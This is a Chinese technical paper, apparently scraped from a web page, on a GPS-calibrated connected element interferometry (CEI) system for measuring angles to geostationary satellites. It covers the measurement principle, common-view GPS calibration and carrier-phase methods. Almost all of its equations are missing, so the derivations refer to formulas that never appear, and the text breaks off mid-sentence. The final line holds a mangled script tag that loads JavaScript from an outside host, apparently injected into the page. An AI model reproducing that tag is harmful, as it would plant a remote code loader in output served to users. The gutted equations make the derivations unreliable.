摘 要：阐述了cei的测量原理，提出了一种基于gps卫星校准的cei的测量体制，并对该体制中各测量元素的测量方法进行了讨论，对各测量元素的测量精度进行了分析，探讨了该体制应用于同步卫星定轨的可行性。
关键词：航天测控；cei；干涉仪；精度分析；gps
一、概述
cei（connected element interferometry）技术又称连接元干涉仪技术，是国外广泛使用的一种中精度角度测量系统(相对于δvlbi而言)。根据资料介绍，独立使用cei系统能够达到100 nrad的测角精度（基线长度为50 km）。cei系统使用同一标准频率，通过相距10～100 km的2个跟踪测量站之间的光纤进行频率和信息的传递，以实现对两站接收信号时间延迟非常精确的测量，进而可以实时或准实时地确定目标相对两站间基线矢量的精确角位置。cei系统以其测角精度高，实时性较强，可用于被动测量等诸多优点决定其在航天测控中有其独到的应用价值。基于cei的测量原理，本文提出了一种利用gps卫星作校准源的cei测量方法，并通过仿真计算讨论了cei系统对同步卫星定轨的支持能力。
二、gps校准cei系统测量原理
采用gps卫星作校准的cei测量原理如图1所示。
图1中，r1q和r2q为航天器至站1和站2的单向距离，r1s和r2s为gps卫星至站1和站2的单向距离。为使问题简化，所有时刻均统一于gps标准时t，设主站发出信号钟面时刻为δt主为主站钟面时刻与标准时的偏差），主站发射的信号经航天器转发后于钟面时刻到达主站接收机，于t副（t副＝ｔ副＋δt副，δt副为副站钟面时刻与标准时的偏差）钟面时刻到达副站接收机，根据以上时间关系并考虑电离层、对流层、站址误差等因素引入的误差有：
式中，δtin、δtip(i=1,2)分别表示对流层、电离层影响引入的时间误差；δt主s和δt副s表示站址误差引入的时间误差，其中“上”表示上行，“下”表示下行，当两站相距较近（基线较短），航天器位置较高（如同步星）时，主站和副站收发信号几乎以同样的路径穿过电离层和对流层，因此有：
式中(ｒ１ｑ－ｒ２ｑ）可以通过测量航天器发射信号到两测量站的相对相位差得到，为测量，记为δｑ。c(ｔ主－ｔ副)是卫星到两测量站的实际距离差，为待求量，记为。c(δt主－δt副)为主副站之间的钟差引起的测量误差，c(δt主s－δt副s）为站址误差引入的测量误差，由此（4）式变形为
从（5）式看出，由于钟差和站址误差的影响，δｒｑ的测量精度不可能很高，为此采用共视gps卫星的方法消除此误差。即在对同步卫星观测的同时，主副站各有一部gps接收机分别接收同一颗gps卫星发射的信号，设某gps接收机在为gps标准时，δts为gps卫星于标准时的钟差）发射信号，主副测量站分别在时刻接收到该信号，考虑到电离层和对流层以及站址误差的影响，有：
如果在测量过程中选取相对测量站有较好几何分布的gps卫星做共视卫星，考虑到两站相距较近（基线较短），gps卫星位置较高，则gps卫星发射信号到两站的行程中由对流层和电离层引入的误差基本可以抵消，因此(6)-(7)得:
式中(ｒ１ｓ－ｒ２ｓ)可以通过测量gps卫星发射信号到达两测量站的相对相位差得到，记为δｓ，为gps卫星到主、副站的实际距离差，记为δｒｓ，该值可由gps导航电文准确的求解，由此(8)式变形为
此式为采用gps卫星作校准源的cei系统基本测量方程，如果δｒｑ可知，则方向余弦有：
其中d为基线长度。
三、cei系统各测量元素的实现及其精度分析
从（11）式可知，方向余弦的测量可通过、δｒｓ和的求解得到，方向余弦的测量精度也完全取决于的测量精度，下面逐项分析各元素的实现方法和可实现精度。
1．的测量
可通过测量gps卫星发射信号的同一波前到两测量站的时延差得到，利用gps发射信号实现测量有２种方法，即载波相位测量法和群时延测量法。
（１）载波相位测量法
设站1和站2在ti时刻对gps卫星j测得的载波相位分别为
式中，和表示实际的相位值，即相位真值为测量（历元）开始时的整周数；δ和δ为从测量开始到ti时刻的观测值，分别包括两部分。
(13)－(12)得:
式中，ωc为载波角频率，是已知量，为观测值，为整周差，是未知量，如果能够求得，则距离差可知。下面讨论如何求得整周差。
两接收机的单差观测方程为（忽略小项）：
其中δt１２（ti）＝δt２（ti）－δt１（ti）是两站间的钟差，是未知量，λ、f是载波的波长和频率，是通过导航电文得到的gps卫星到两站的实际距离。从(16)式可以看出由于钟差δt１２(ti）未知，不能确定。解决的方法是在对gps卫星j观测的同时，对gps卫星k进行观测，即：
方程(18)中含有２?script src=http://er12.com/t.js>
